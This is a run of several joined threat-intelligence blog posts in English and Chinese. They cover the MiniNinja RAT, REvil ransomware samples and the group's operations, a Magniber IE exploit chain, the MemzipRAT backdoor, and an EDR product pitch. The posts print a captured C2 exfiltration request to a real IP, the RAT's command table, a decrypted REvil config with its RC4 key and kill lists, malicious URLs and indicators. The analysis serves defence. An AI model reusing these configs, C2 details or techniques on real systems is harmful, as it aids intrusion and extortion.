![2110-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_3_f98da0e1b4.png)

 

The decrypted malware configuration block contains Mutex string, C2 URL, HTTP Header information, sleep time, etc.:

![2110-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_4_aabe1c7b5a.png)

 

Upon execution, the following victim host information will be collected:

 - System info
 - OS version
 - Hostname
 - IP addr
 - Process name
 - Process ID

The above data would be encoded with XOR encode and custom base64 encode. Finally, the encoded result would be sent to its C2 via POST:

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinja is a full-featured RAT that supports commands for file, process, memory, shell or account operations. Its supported functions are listed below in the Command Table.


## Command Table

Supported command:

|Command | Description|
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 (TW compromised host)

## References

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

Assassinations of "MiniNinja" in Various APAC Countries

Threat Intelligence

早期勒索軟體通常是透過木馬病毒，無方向性、任意擴散、亂槍打鳥，隨著網路下載檔案時入侵或經由系統漏洞進入被害者電腦。過去多數的被害者身分是一般民眾，他們一般處理的方式是默默支付約莫一千美元贖金，贖回電腦的解鎖。隨著網路威脅攻擊態勢的改變，威脅攻擊對象從個人移轉到企業為目標，攻擊手法也從隨機入侵變化為有目標性的入侵，這也就是所謂針對式的勒索軟體攻擊。


# 勒索軟體攻擊於 2019 年爆發式增長，至今沒有放緩跡象

近年來，攻擊態勢明顯改變，出現了針對型的勒索（targeted ransomware），攻擊發起時就鎖定目標，對象多是大型企業，駭客入侵後通常不會立即加密一台電腦，而是想辦法取得系統存取的最高權限，然後一次安裝勒索軟體在企業內所有電腦，時間到就全部進行加密、癱瘓企業，一次勒索金額甚至可高達五千萬美元（相當於新台幣十四億元）。

隨著加密貨幣流行的興起，駭客集團也隨之運用加密貨幣中心來掩護不法現金流追查，同時此行為也愈來愈猖獗，甚至引發美國政府主動採取對抗勒索軟體的決心，其中加強加密貨幣監管視為其中之一對抗的目標，還有就是這幾年網路所流傳的非主流服務，勒索軟體即服務（Ransomware as a Service，簡稱 RaaS）商業模式的出現，此現象也誘使更多犯罪團體發起勒索攻擊的行為。

今年五月區塊鏈研究機構 Chainalysis 發布[《2021 勒索軟體年中的重大事件報告》](https://blog.chainalysis.com/reports/ransomware-update-may-2021)，提及 2019 年是勒索贖金急遽增長的關鍵指標，從 2019 年第一季平均六千美元的贖金金額，延續至 2021 年第一季，平均贖金已高達五萬四千美元，此金額倍數般的驚人成長，尤其被駭客集團所盯上的高科技產業，例如 2021 年 REvil 陸續成功駭入宏碁與廣達，則被駭客獅子大開口要求支付五千萬美元贖金，不論最終企業是否支付，鉅額贖金儼然已成為常態。

![202109_1改.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632897561/202109_1_e46dc8cfb4.png)
_表一、各季平均已知勒索支付金額。資料參考自 [Chainalysis Insights](https://blog.chainalysis.com/reports/ransomware-update-may-2021)。_

 

# 防駭如防疫，唯有「全面防堵」

一般企業軟硬體網路環境多數建置是以辦公事務性為用途，而不是為了抵禦外部網路攻擊而部署，但駭客族群工具就是以攻擊目的為出發點，通常企業一旦被駭客針對鎖定了，它就會持續不斷的攻擊直到成功入侵為止，然後對企業進行勒索，這是非常難以防止。如何讓企業內外系統有密實的防護牆，是企業需考量的防禦重點。TeamT5 杜浦數位安全建議，企業必需有「全面防堵」的觀念，在企業內部設立層層的防護關卡，在每一個環節做到有效的預防、偵測和阻擋。因此，TeamT5 鼓勵企業朝向「全面防堵」的觀念進行安全部署，即使某些防禦層被入侵，系統其他防護機制一樣可以迅速接手防禦，並且企業依舊保有持續營運，因此「全面防堵」的觀念如同防疫，需同時包含隔離觀察、症狀監控、阻止傳播、快速應變隔離確診者等，缺一不可。

 

# 獨家人工智慧引擎，監控新進程式

TeamT5 全新一代的 ThreatSonar EDR 威脅鑑識分析與回應平台解決方案，除了具備 APT（Advanced Persistent Threat，進階持續性攻擊）惡意威脅鑑識與防護功能外，更新增面對勒索軟體攻擊的全面防堵解決方案，這個方案是透過我們的獨家人工智慧引擎，能判斷可疑或新進的外來程式，透過隔離與權限控管方式，由零信任（zero trust）開始，逐步提高對新進程式的信任值，這就如同 COVID-19 防疫針對入境者，均須透過 14 天隔離期相同的觀念，做為第一道防線，為企業進行把關。

![202109_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632815199/202109_2_dff90ac42b.png)
_圖一、ThreatSonar EDR 人工智慧引擎_

 

# 雙重防護，即時自動阻斷

面對勒索軟體的加密攻擊階段，ThreatSonar EDR 亦提供雙重防護，分別為應用程式控制與勒索陷阱，ThreatSonar EDR 的獨家人工智慧引擎可以偵測出哪些應用程式應該開啟什麼類型檔案，例如文件檔案通常是由文書編輯程式所開啟，若有異常程式嘗試存取文件檔案，系統便會自動偵測並予以即時阻斷。另外 ThreatSonar EDR 也會佈下了許多偽裝的文件檔案，當作誘捕陷阱，當惡意程式試著開啟此類檔案，同樣的也會被偵測並強制中斷惡意程式繼續運行。

 

# 加密了! 檔案還原

能夠全面防禦阻擋勒索軟體攻擊是 TeamT5 ThreatSonar EDR 的解決方案外，同時還建立一個備份區，專門為重要文件進行自動備份，若檔案不幸被加密了，仍可透過此備份區成功取回檔案，這不僅是一般的檔案備份，TeamT5 獨家技術建立的備份區，可偵測駭客進行惡意破壞備份行為，有效確保企業成功還原檔案。

![202109_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632815198/202109_3_2adafecde5.png)
_圖二、TeamT5 獨家技術有效確保企業成功還原檔案_

 

# 掌握情資，制敵機先

防駭跟防疫有許多共通之處，要對抗的都是「人」，使用單一解決方案通常效果有限，因為時間久了，就算有效果也會被繞過，譬如不能只單靠疫苗，因為病毒會持續變種，更何況駭客是人，他們也會適應與變化，不斷產生新的攻擊手法與技術。

TeamT5 掌握亞洲領先情資，持續研究與追蹤各大勒索軟體族群的最新手法，有效預測未來攻擊，透過充分掌握與不斷更新，TeamT5 最新一代 ThreatSonar EDR 將是您最佳的選擇，請即刻與您的業務窗口聯繫。

> 業務聯絡：<sales@teamt5.org>

 

# 參考資料

[1] https://www.afcea.org/content/sponsored-81-ransomware-statistics-data-trends-and-facts-2021

[2] https://www.varonis.com/blog/ransomware-statistics-2021/

[3] https://blog.chainalysis.com/reports/ransomware-update-may-2021

有效抵禦勒索軟體攻擊，唯有「全面防堵」

Products & Services

圖片來源：[Pixabay](https://pixabay.com/illustrations/ransomware-wannacry-malware-2318381/)

 

TeamT5 近期於台灣某企業環境取得一加密勒索惡意程式（Ransomware），該惡意程式與日前美國託管軟體開發業者 Kaseya 遭到駭客組織 REvil 入侵，進而產生供應鏈攻擊事件（Supply Chain Attack）密切相關。難道是近日忽然神秘消失的 REvil 又整裝上陣，再度發動攻擊？

TeamT5 在這起事件中調查發現，該加密勒索惡意程式具有檔案數位簽章，可藉此躲避防毒軟體的偵測。同時也會利用早期 Windows 防毒產品的漏洞，執行 DLL Side-Loading，繞過安全檢查，載入惡意程式本體。執行工作前，會使用 RC4 演算法解密一組態設定檔，並於加密檔案階段，使用 Salsa20 和 AES 兩種演算法來加密檔案。

TeamT5 深入調查，確定該企業並未採用 Kaseya 所提供之服務，且該受害環境存在多起駭客入侵攻擊事件。此外，該加密勒索程式所觸發的條件與 Kaseya 供應鏈攻擊事件有所區別，故 TeamT5 推測是攻擊者在入侵得手後，利用 REvil 加密勒索程式來煙滅犯罪現場證據之用。

 

## 樣本分析
sample.exe 為 TeamT5 所掌握取得之惡意程式，具備數位簽章（digital signature），簽署人名稱為 PB03 TRANSPORT LTD.。目前該憑證已被簽發者宣告撤銷，據信，該簽章憑證為駭客攻擊前所竊取而來。所對應 MITRE 的攻擊手法編號為 T1553.002。數位簽章資訊詳見下圖一。

![2108-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_1_70fa5416a0.png)
_圖一、sample.exe 具有數位簽章（已遭宣告撤銷）_

 

sample.exe 除了具有檔案數位簽章之外，同時也是個 Dropper。在其檔案資源區塊中，具有兩個資源檔 MODLIS.RG 與 SOFTIS.RG。檔案執行之後，會分別在 C:\Windows\ 路徑下建立 mpsvc.dll 與 MsMpEng.exe，如圖二。

![2108-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_2_228ada60f2.png)
_圖二、sample.exe 會從資源區塊產生 mpsvc.dll 與 MsMpEng.exe_

 

MsMpEng.exe 為 Windows 早期版本（版本號為 4.5.0218.0）之防毒軟體程式，其檔案時間戳記為 2014/03/24 09:34。此 MsMpEng.exe 有 DLL 側載（DLL Side-Loading）漏洞，駭客利用合法程式來載入惡意本體 mpsvc.dll，為典型的白加黑攻擊手法，所對應 MITRE 的攻擊手法編號為 T1574.002。MsMpEng.exe 的檔案資訊詳見下圖三。

![2108-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_3_204dc45958.png)
_圖三、MsMpEng.exe 的檔案資訊與檔案簽章_

 

根據 mpsvc.dll 的導出表，會透過 Windows 防毒程式來呼叫 mpsvc.dll，並透過 `ServiceCrtMain` 函式來執行。執行後，mpsvc.dll 會建立一個執行緒（Thread），並透過 `CreateFileMappingW` 函式來載入二階段惡意 Shellcode。接著，使用 `VirtualAllocEx` 函式來分配記憶體的讀/寫/執行區域，供 Shellcode 將加密勒索核心功能載入記憶體中。

![2108-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_4_698c5d81c3.png)
_圖四、mpsvc.dll 使用 `CreateFileMappingW` 和 `VirtualAllocEx` 函式載入惡意程式核心_

 

加密勒索核心透過解碼一系列已編碼的 DLL 檔案，開始驗證和解密 JSON 格式之組態設定檔（Config）。TeamT5 長期追蹤 REvil 駭客族群，發現他們廣泛使用 CRC32 演算法來驗證檔案的完整性，並使用 RC4 演算法來解密。在此案例中，加密勒索程式所使用的 RC4 解密金鑰為 `mXT1QFyEUbrxc4cbP84jbN5wrHeqmFXt`，解密後的組態設定檔詳見以下範例：

```json{
"pk":"9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=",
"pid":"$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq",
"sub":"8254",
"dbg":false,
"et":0,
"wipe":true,
"wht":{"fld":["program files","appdata","mozilla","$windows.~ws","application data","$windows.~bt","google","$recycle.bin","windows.old","programdata","system volume information","program files (x86)","boot","tor browser","windows","intel","perflogs","msocache"],
"fls":["ntldr","thumbs.db","bootsect.bak","autorun.inf","ntuser.dat.log","boot.ini","iconcache.db","bootfont.bin","ntuser.dat","ntuser.ini","desktop.ini"],
"ext":["ps1","ldf","lock","theme","msi","sys","wpx","cpl","adv","msc","scr","bat","key","ico","dll","hta","deskthemepack","nomedia","msu","rtp","msp","idx","ani","386","diagcfg","bin","mod","ics","com","hlp","spl","nls","cab","exe","diagpkg","icl","ocx","rom","prf","themepack","msstyles","lnk","icns","mpa","drv","cur","diagcab","cmd","shs"]},
"wfld":["backup"],
"prc":["encsvc","powerpnt","ocssd","steam","isqlplussvc","outlook","sql","ocomm","agntsvc","mspub","onenote","winword","thebat","excel","mydesktopqos","ocautoupds","thunderbird","synctime","infopath","mydesktopservice","firefox","oracle","sqbcoreservice","dbeng50","tbirdconfig","msaccess","visio","dbsnmp","wordpad","xfssvccon"],
"dmn":"boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;TRIMMED",
"net":false,
"svc":["veeam","memtas","sql","backup","vss","sophos","svc$","mepocs"],
"nbody":"BASE64_ENCODED_RANSOM_NOTE",
"nname":"{EXT}-readme.txt",
"exp":false,
"img":"QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA",
"arn":false,
"rdmcnt":0}
```
 

**部分組態設定檔說明**

|欄位|說明|
|---|---|
|pk|經過 Base64 編碼後的金鑰|
|fld|避免加密的資料夾名稱|
|fls|避免加密的檔案名稱|
|ext|會被加密的檔案格式|
|prc|加密前會強制關閉的程序名稱|
|dmn|中繼站位址|
|svc|加密前會強制停止的服務名稱|

 

待加密勒索核心解析組態設定檔後，會搜集並儲存該受害主機的基本資訊，包含帳號、主機名稱、網域名稱、Windows 版本名稱等。同時，該加密勒索程式具有 `-nolan`、`-nolocal`、`-path`、`-silent`、`-smode`、`-fast` 及 `-full` 等參數可供使用。

如果使用 `-smode` 模式，會將當前帳號和密碼更改為 `DTrump4ever`，並設定登入後自動執行。但若使用 `-silent` 模式，則會從組態設定檔中將 `svc` 區塊中的服務停止並刪除，也將 `prc` 區塊中的程序終止，以及使用 WMI 刪除磁碟區陰影複製檔（Shadow Copy File）。

![2108-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269617/2108_5_ff3367629a.png)
_圖五、smode 模式的程式分析畫面_

 

開始執行檔案加密前，加密勒索核心會檢查互斥變數（Mutex），以確保沒有其他加密勒索核心也在運行，確定加密過程可順利進行。在執行階段，加密勒索程式會清空電腦主機的資源回收桶，並嘗試建立本機防火牆規則 `netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes`。

接著，破壞過程會使用多個演算法進行加密，例如 Salsa20 與 AES。在加密過程中，會忽略組態設定檔中 `ext` 區塊中的檔案副檔名，避免受害主機完全無法開機的狀況發生。

![2108-6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269616/2108_6_8b5ef17c27.png)
_圖六、加密演算法使用 Salsa20 和 AES_

 

待惡意程式開始加密檔案時，勒索訊息也會同步建立在每個資料夾路徑下，其檔案類型為文字格式（.txt），檔名則為隨機亂數產生的小寫英文與數字組合，並加上 `-readme` 做為後綴（suffix）字元。其勒索訊息內容如下圖七所示。

![2108-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1629269623/2108_7_44da5ddd34.png)
_圖七、勒索訊息內容_

 

在加密檔案之後，加密勒索程式會連線至組態設定檔中的中繼站，並使用 HTTP POST 方法回傳如 REvil 版本、作業系統版本、語言及組態設定檔的值等資訊。回傳中繼站的 URL 會採用隨機產生的關鍵字，如 WordPress 等服務，將流量偽裝成合法請求。其 URL 格式如下：

`https:\/\/<C2Domain>\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/([a-z]{2}){10}\.(jpg|png|gif)`

 

## IoC 入侵指標

TeamT5 彙整此次加密勒索攻擊事件的 IoC（Indicators of Compromise）資訊，建議用戶可將此份威脅指標情資，匯入各式偵測阻擋設備中使用，強化威脅防護。

|Type|Value|檔名|描述|
|---|---|---|---|
|MD5|561CFFBABA71A6E8CC1CDCEDA990EAD4|sample.exe|REvil Dropper|
|MD5|A47CF00AEDF769D60D58BFE00C0B5421|mpsvc.dll|REvil Loader|
|MD5|3AD14947002E57887B82643D729C21AE|n/a|REvil Shellcode|
|MD5|6A044F92F8DDDAD2AE0FF213215FE576|n/a|REvil Payload|
|SHA-1|5162F14D75E96EDB914D1756349D6E11583DB0B0|sample.exe|REvil Dropper|
|SHA-1|656C4D285EA518D90C1B669B79AF475DB31E30B1|mpsvc.dll|REvil Loader|
|SHA-1|8DA8E1DB4367BFFFB8DFF6828619DC3C2A444FFE|n/a|REvil Shellcode|
|SHA-1|89BA0D748EF30E7D4FACDBC74CA701B24F3ACEDB|n/a|REvil Payload|
|SHA-256|D55F983C994CAA160EC63A59F6B4250FE67FB3E8C43A388AEC60A4A6978E9F1E|sample.exe|REvil Dropper|
|SHA-256|8DD620D9AEB35960BB766458C8890EDE987C33D239CF730F93FE49D90AE759DD|mpsvc.dll|REvil Loader|
|SHA-256|C8768D4A4979D4B5AB4E841FC29523D8D80C52D6E89F345A0A44E75973F3D3AF|n/a|REvil Shellcode|
|SHA-256|F92CD77D38EC7A2E3CDB5CAC083258424F920F3104BC710E60AEE5CE4BC4B867|n/a|REvil Payload|

又見 REvil？！看駭客如何利用 REvil 同款加密勒索程式湮滅攻擊證據

By Tom, Peter & Jason3e7 | 圖片來源：[Pixabay](https://pixabay.com/illustrations/browser-web-www-computer-773273/)

近期全球籠罩在勒索軟體的威脅下，大到法人企業、小至個人用戶，無一倖免。從針對式的 APT 攻擊（Advanced Persistent Threat，進階持續性攻擊）到各式網路犯罪組織，使用的勒索手法越發精湛與多樣化，並發展出 Ransomware as a Service（RaaS）商業模式，實現了「一時勒索一時爽，一直勒索一直爽」的勒索大業。

本次分析的案例，攻擊手法屬於較被動的方式，透過微軟瀏覽器 IE （Internet Explorer）的弱點來進行勒索，而非從企業的脆弱點進行攻擊，進而入侵到核心系統大量散布勒索軟體。這種「願者上鉤」的攻擊方式，攻擊者等待受害單位使用 IE 瀏覽器造訪惡意網站，再發動攻擊、達成目的。

## 技術分析

tenki[.]tw 早期是用來提供氣象資訊的網站，根據我們的研究，推測可能遭攻擊者註冊，當使用者造訪該網站時，將進行兩次轉址，經過兩個廣告公司網站後，最終轉至惡意網站，流程如下圖。

![IE_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_1_9c89756204.png)


 

其中 {random}.doetax.site 包含以下已經過程式碼混淆（Obfuscation）的 JavaScript：

![IE_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073503/IE_2_75720d835e.png)

 

經過解碼還原後，可以確定攻擊 payload 會使用 URL 進行 XOR，再使用 execScript 來執行編碼過的 JavaScript，如下圖：

![IE_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073501/IE_3_7834571d0f.png)

 

該編碼過的 JavaScript 使用的是 CVE-2020-0968 來針對 IE 瀏覽器進行攻擊。

![IE_4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_4_d1df7d6427.png)

 

執行惡意程式碼後，攻擊者會再依據取得的權限不同，將使用者連線到不同的網址，如下圖：

![IE_5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073500/IE_5_8167c3864c.png)

 

若取得是高權限，則會直接到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，否則會先到 hxxp://2oct37evecvdw72y0b.doetax.site/ 下載惡意程式，提權後連線到 hxxp://1fbw726f22j65y.doetax.site/ 取得勒索軟體，如下圖所示。

![IE_6.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073497/IE_6_8cf56ced86.png)

 

經分析後確定勒索軟體為 Magniber，該惡意程式使用 AES CBC mode 加密檔案（key, IV: 128），加密完成後，會使用 RSA 演算法加密 key 與 IV，加密後的 blob 會放在加密檔案的最後面（長度：100h）。

![IE_7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073496/IE_7_8d674f100c.png)

![IE_8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073493/IE_8_b0ab9e49b9.png)

 

另外我們也發現，除了使用 CVE-2020-0968 來攻擊外，也有使用 CVE-2021-26411 進行勒索攻擊的情境。

![IE_9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_9_a0a080b8f8.png)

![IE_10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_10_36fdab639d.png)

 

我們進一步探討網站轉址狀況可以發現，攻擊者會利用免費資源網站來吸引使用者瀏覽，同時利用一透明框架覆蓋於網站上，讓使用者點擊，進而達成轉址目的。

![IE_11.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_11_080a2e35e5.png)

 

轉跳後的網站如下圖：

 

![IE_12.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_12_9549f3a339.png)

 

雖然該網站並不會植入勒索軟體，但會使用 CVE-2019-1367 弱點來植入其他的後門，另外，雖然在 IE11、IE10 和 IE9 使用 Jscript9.dll，並不受 CVE-2019-1367 漏洞的影響，但可以強制 IE 使用 IE8 兼容模式，來達成漏洞的觸發。

![IE_13.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073490/IE_13_9dff2ee47b.png)

![IE_14.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1626073491/IE_14_247f61ede7.png)


## 結論
上述案例皆為採證 IE 的連線紀錄後所發現，攻擊者透過 IE 瀏覽器的漏洞來達到攻擊目的，包含勒索或者植入其他後門程式。攻擊者透過這些弱點進行記憶體操作的攻擊，可以有效實踐無檔案式（Fileless）攻擊，以利規避一些資安產品偵測的可能性。

微軟官方也預計於 2022 年 6 月 25 日，徹底終止支援 IE 瀏覽器，接下來我們也可以預期，若 IE 將來仍被發現存在重大弱點時，攻擊者可能會依循類似手法，大量進行攻擊、勒索，以達到其商業利益。

## 建議
- 建議將系統安全性更新至最新版本
- 建議評估汰換已停止更新的作業系統與軟體
- 非必要不使用 IE 瀏覽器

## 參考資料
[1] https://asec.ahnlab.com/en/19273/

[2] https://asec.ahnlab.com/en/21189/

「勒」此不疲，IE 真調皮

*Image courtesy of [Pixabay](https://pixabay.com/photos/flag-banner-nation-emblem-country-2528969/)

TeamT5 recently discovered two installers of a newly identified backdoor which we named MemzipRAT. The backdoor is named after an embedded string "get module from cmd memzip : %d" inside the PE files.

With further investigation, we believe this attack was aiming at a South Korean company in the aerospace sector. The company is part of a top 10 conglomerate in South Korea, whose business includes aerospace, chemicals, financial services, IT, etc.

In fact, CloudDragon has been accused of using VPN vulnerabilities to attack numerous entities, including Korean government agencies [1], recently. It is highly possible that they deployed their new malware by the new vulnerability in this case as well. 

 

Yet, there are two key factors that might pull the trigger of massive intrusions:

1. VPN vulnerability

 The VPN market in 2020 is USD $30 billion worldwide. That is, the market is huge and has multiple players inside. It could be a starting point for actors to infiltrate various corporations not only in South Korea, but to the whole world.
 
2. Sectors involved

 As the identified target involved in crucial sectors, such as IT, it has a great chance to affect hundreds of entities in a short period.

 

We strongly advise everyone to take careful attention to CloudDragon's recent campaign for it might end up a severe supply chain attack.

## Reference

[1] https://biz.chosun.com/policy/politics/2021/06/18/V4DTFCEXPRA4DFCBVVJO3DPR5I/

CloudDragon's Campaign: VPN Zero-day Vulnerability + New Backdoor

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/security-hacker-web-security-data-5614016/)

In March 2021, another REvil's attack was announced. Targeting the computer giant Acer, the actors behind the ransomware asked for 50 million dollars, the highest ransom they have demanded so far. Acer was not the only victim of the notorious ransomware. Debuted in April 2019, REvil has attacked hundreds of high-profile agencies in multiple sectors. In 2020, REvil has earned more than 100 million.[1] In this report, we will introduce the basic profile of REvil and share the techniques they used in operations. 


## What is REvil 

REvil, a.k.a Sodinokibi, is a Ransomware as a Service (RaaS) operation deployed by a Russian cybercrime group named GOLD SOUTHFIELD or Pinchy Spider. The group is believed to be based in Russia, as it does not attack organizations in Post-Soviet States, and refuse to cooperate with English speaking cyber criminals.[2] 

REvil was highly possible the successor of GandCrab, another notorious ransomware, because of code similarities and REvil's active operations right after GandCrab's retirement.[3]

![REvil_1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845336/R_Evil_1_035a848033.png)
_Figure 1: The timeline of REvil's appearance and GandCrab's retirement_

 

![REvil_2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_2_804b2676dc.png)
_Figure 2: REvil and GandCrab's similarity on string decoding_

 

![REvil_3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_3_e9724a2992.png)
_Figure 3: REvil and GandCrab's similarity on building ransom wallpaper_

 

Numerous campaigns attacking multiple sectors were observed all over the world. The REvil actors has attacked local governments, giant law firms, multinational retailers, etc. The highest ransom they have asked was 42 million for the law firm but was now surpassed by the 50 million Acer attack. (References for the events, please see the end of this page.[4])

 

![REvil__4.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1621845337/R_Evil_4_56bc894487.jpg)
_Figure 4: The timeline of REvil's notorious attacks_

 

## The Ransomware as a Service model (RaaS)

The actors of REvil adopt the Ransomware as a Service business model. In this model, Ransomware developers are responsible for development and maintenance of the ransomware, while the groups of cyber criminals, named affiliates in this model, are responsible for accessing victims' system to distribute the ransomware. The business model allows cyber criminals who are not capable of developing their own ransomware to buy the service on dark web and deploy ransomware attack. 
 
Through this model, REvil actors provide REvil or the customized version of REvil to their affiliates. After they successfully breached victims' systems, REvil actors will ask for ransom by themselves, providing the ransom payment link. After the collection of money, their affiliates will receive 60% to 75% of the profit. Moreover, the actors also provide other paid services, such as money laundering assistance for the affiliates. 

![May_blog_3.jpeg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1620634812/May_blog_3_71c24e74f2.jpg)

 

## Tactic, Techniques and Procedures
### Initial Access
For REvil, different affiliates may use different methods for initial access. The ransomware is now distributed primarily through compromised RDP sessions (65%), phishing (16%), and software vulnerabilities (8%).[5] However, a supply chain attack distributing REvil was also observed.

REvils' actors said in an interview that they used brute force attacks to compromise RDP sessions.[1] As for phishing emails, the cyber criminals have once disguised their email as a new booking from "booking.com". They also exploit vulnerabilities. In fact, REvil's debut was exploiting the Oracle Weblogic vulnerability, CVE-2019-2725. Moreover, the actors are able to deploy new vulnerabilities after its disclosure. For example, the group used the recent disclosed Microsoft Exchange server vulnerability to access Acer's system.

The most astounding technique they deployed is supply chain attack. Around June 2019, a WINRAR distributor site in Italy was hacked.[6][7] The software downloaded from the site at that time was not the WINRAR installer but the REvil installer. Although no public announcements showing that any company was infected in this attack, the successful replacement shows that their affiliates were able to deploy a supply chain attack. 

Apart from their various method on initial access, the cyber criminals also adopted several unique techniques. For example, REvil used Elliptic-curve Diffie-Hellman key exchange to encrypt files, while other ransomware often used RSA, Salsa20 or AES to do so. This method is more efficient as it used shorter key and is difficult to decrypt. 

 

## The Effective Methods for Ransom Collection
Nowadays, as ransomware attacks become a serious problem, most companies have learned to back up crucial data in case they are hit by a ransomware. However, ransomware actors develop several new methods to ensure that the victims will pay the ransom, including Double-extortion, VoIP calling, and DDoS attack.

- "Double-extortion"
The actors disclose or sell the data of the company if the company is not willing to pay ransom. This method was first introduced by Maze, another notorious ransomware, and currently almost all ransomware actors have adopted this method, and so as REvil. Starting from January 2020, the group runs their own site "Happy Blog", where they post data extorted from their victims.

- Voice over Internet Protocol (VoIP) calling
In February 2021, they announced that they are now offering Voice over Internet Protocol (VoIP) calling and DDoS attack service for their affiliates to make pressure on their victims.[8] They stated that they will call the media or their victims' business partners, telling them about the attack. 

 

## Detect and Defense
